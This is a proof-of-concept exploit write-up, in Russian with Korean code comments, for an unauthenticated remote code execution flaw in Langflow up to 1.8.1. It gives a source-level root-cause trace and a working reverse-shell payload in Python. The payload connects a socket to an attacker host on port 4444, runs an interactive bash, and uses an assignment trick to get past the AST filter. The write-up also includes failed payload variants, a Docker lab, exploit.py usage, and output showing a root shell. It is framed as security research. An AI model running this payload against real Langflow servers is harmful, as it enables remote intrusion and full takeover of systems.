
PoC-эксплойт для неаутентифицированного RCE в Langflow <=1.8.1, включающий анализ первопричины на уровне исходного кода, reverse shell payload с учётом AST, Docker-лабораторию, diff патча и правила обнаружения.
Отказ от ответственности
Данный репозиторий создан в исследовательских и образовательных целях в области безопасности.
Используйте его только в изолированной лабораторной среде.
Использование против несанкционированных систем является нарушением Закона об информационных сетях и влечёт уголовную ответственность.
| Пункт | Описание |
|---|---|
| CVE ID | CVE-2026-33017 |
| Уязвимое ПО | Langflow (конструктор ИИ-воркфлоу) |
| Затронутые версии | Langflow ≤ 1.8.1 |
| Версия с исправлением | Langflow ≥ 1.9.0 |
| Тип уязвимости | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Включено |
POST /api/v1/build_public_tmp/{flow_id}/flow
Эндпоинт предназначен для сборки публичных флоу и спроектирован так, что к нему можно обращаться без аутентификации.
Путь выполнения, установленный прямым прослеживанием исходного кода:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
Функция prepare_global_scope() выполняет не все конструкции поданного кода.
После AST-разбора она отбирает и выполняет только узлы определённых типов:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
Выполняемые типы узлов AST:
| Тип узла AST | Пример | Выполняется |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Выполняется |
ClassDef | class ExploitComponent(Component) | ✅ Выполняется |
Assign | _r = os.system("id") | ✅ Выполняется |
AnnAssign | _r: int = os.system("id") | ✅ Выполняется |
Expr | os.system("id") (одиночный вызов) | ❌ Игнорируется |
Вывод: чтобы эксплойт выполнился, его необходимо оформить в виде
Assign(_r = ...). Простой вызов функции (os.system("id")) классифицируется как узелExprи отсеивается фильтром.
В ходе практической работы были опробованы разные варианты эксплойта; причина каждой неудачи установлена на уровне исходного кода.
subprocess.Popen + wait() (неудача)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
Причина неудачи: рабочий поток Langflow отслеживает возвращаемое значение компонента и по истечении тайм-аута принудительно закрывает сокет. Блокирующий вызов _proc.wait() теряет смысл.
os.execve() (неудача)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Причина неудачи: по правилам POSIX при вызове execve() в многопоточном процессе завершаются все потоки, кроме вызывающего → полный крах воркера uvicorn → HTTP 500.
os.fork() + execve() (неудача)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Причина неудачи: uvicorn расценивает дочерний процесс как аварийно завершившийся и перезапускает воркер → HTTP 500.
threading.Thread(daemon=True) (неудача)threading.Thread(target=_shell, daemon=True).start()
Причина неудачи: поток с daemon=True уничтожается вместе с завершением главного потока (воркера Langflow). Поток умирает ещё до попытки connect().
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Причины выбора daemon=False:
daemon=True → уничтожается вместе с завершением рабочего потока Langflowdaemon=False → независимый от воркера жизненный цикл → сокетное соединение сохраняетсяCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
Запуск в контейнере атакующего:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Опции:
| Опция | Описание | По умолчанию |
|---|---|---|
--url | URL целевого Langflow | Обязательно |
--lhost | IP обратного вызова reverse shell | Обязательно |
--lport | Порт обратного вызова reverse shell | Обязательно |
--flow-id | UUID Public флоу (если опущен — создаётся автоматически) | Автоматически |
--user | ID администратора | admin |
--password | Пароль администратора | admin123! |
--no-listen | Отключить встроенный слушатель (при использовании внешнего nc) | False |
--timeout | Тайм-аут HTTP (сек) | 30 |
Ожидаемый вывод:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
Используется, когда нужно лишь проверить наличие уязвимости: